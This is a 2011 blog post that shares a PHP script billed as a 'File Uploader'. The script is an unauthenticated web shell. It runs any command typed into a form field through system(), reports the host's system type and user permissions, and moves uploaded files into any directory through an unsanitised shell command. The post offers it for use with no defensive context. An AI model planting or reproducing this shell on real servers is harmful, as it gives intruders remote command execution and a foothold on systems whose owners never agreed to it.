bugishere

File Uploader part II [PHP]

Posted on: June 2, 2011

I will share a new uploader of file into the server. Some days ago, I have shared a simple of File Uploader and in this uploader file, you can use Linux Command for some necessaries, So let’s check the listing :

<html>
<head>
<title>Panteng</title>
<style type=”text/css”>
<!–
body {background-color: #bdc2b4;}
–>
</style>
<?php

/* http://www.bugishere.wordpress.com */

set_magic_quotes_runtime(0);
$hari=array(“Sunday”,”Monday”,”Tuesday”,”Wednesday”,”Thursday”,”Friday”,”Saturday”);
$bulan=array(1=>”Jan”,”Feb”,”Mar”,”Apr”,”May”,”Jun”,”Jul”,”August”,”Sept”,”Octo”,”Nov”,”Dec”);
$tgl=date(“d”);
$bln=date(“n”);
$hr=date(“w”);
$thn=date(“Y”);
//echo(“Date Today: “);
echo(“<table><tr><td class=’XPBlueText’><font color=’green’ size=1><b>$hari[$hr], $tgl $bulan[$bln] $thn</b></font</td></tr></table>”);
print “<style>body{font-family:trebuchet ms;font-size:12px; color:green;}hr{width:100%;height:2px;}</style>”;
print “<center><h1>..:::Panteng Uploader:::..</h1></center>”;
print “<center><h1>xpanteng[at]yahoo[dot]com</h1></center>”;
print “<center><h1>upload your file</h1></center>”;
print “<hr><hr>”;
$currentWD  = str_replace(“\\\\”,”\\”,$_POST[‘_cwd’]);
$currentCMD = str_replace(“\\\\”,”\\”,$_POST[‘_cmd’]);
$UName  = `uname -a`;
$SCWD   = `pwd`;
$UserID = `id`;
if( $currentWD == “” ) {
$currentWD = $SCWD; }
print “<table>”;
print “<tr><td><b>We are :</b></td><td>”.$_SERVER[‘REMOTE_HOST’].” (“.$_SERVER[‘REMOTE_ADDR’].”)</td></tr>”;
print “<tr><td><b>Server is :</b></td><td>”.$_SERVER[‘SERVER_SIGNATURE’].”</td></tr>”;
print “<tr><td><b>System type :</b></td><td>$UName</td></tr>”;
print “<tr><td><b>Permissions :</b></td><td>$UserID</td></tr>”;
print “</table>”;
print “<hr><hr>”;
if( $_POST[‘_act’] == “List files!” ) { $currentCMD = “ls -al”; }
print “<form method=post enctype=\”multipart/form-data\”><table>”;
print “<tr><td><b>Execute command :</b></td><td><input size=100 name=\”_cmd\” value=\””.$currentCMD.”\”></td>”;
print “<td><input type=submit name=_act value=\”Execute!\”></td></tr>”;
print “<tr><td><b>Change directory :</b></td><td><input size=100 name=\”_cwd\” value=\””.$currentWD.”\”></td>”;
print “<td><input type=submit name=_act value=\”List files!\”></td></tr>”;
print “<tr><td><b>Upload file :</b></td><td><input size=85 type=file name=_upl></td>”;
print “<td><input type=submit name=_act value=\”Upload!\”></td></tr>”;
print “</table></form><hr><hr>”;
$currentCMD = str_replace(“\\\””,”\””,$currentCMD);
$currentCMD = str_replace(“\\\'”,”\'”,$currentCMD);
if( $_POST[‘_act’] == “Upload!” ) {
if( $_FILES[‘_upl’][‘error’] != UPLOAD_ERR_OK ) {
print “<center><b>Error while uploading file!</b></center>”;
} else {
print “<center><pre>”;
system(“mv “.$_FILES[‘_upl’][‘tmp_name’].” “.$currentWD.”/”.$_FILES[‘_upl’][‘name’].” 2>&1″);
print “</pre><b>File Terupload dengan Sukses!</b></center>”;
}
} else {
print “\n\n<!– OUTPUT STARTS HERE –>\n<pre>\n”;
$currentCMD = “cd “.$currentWD.”;”.$currentCMD;
system($currentCMD);
print “\n</pre>\n<!– OUTPUT ENDS HERE –>\n\n</center><hr><hr><center><b>Command completed</b></center>”;
}
exit;
?>
</html>

Good enjoy !!!😀

2 Responses to "File Uploader part II [PHP]"

[…] File Uploader part II [PHP] « bugishere […]

Log Out Alterar Cancelar Connecting to s Notificar me os comentários mais recentes via e mail.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: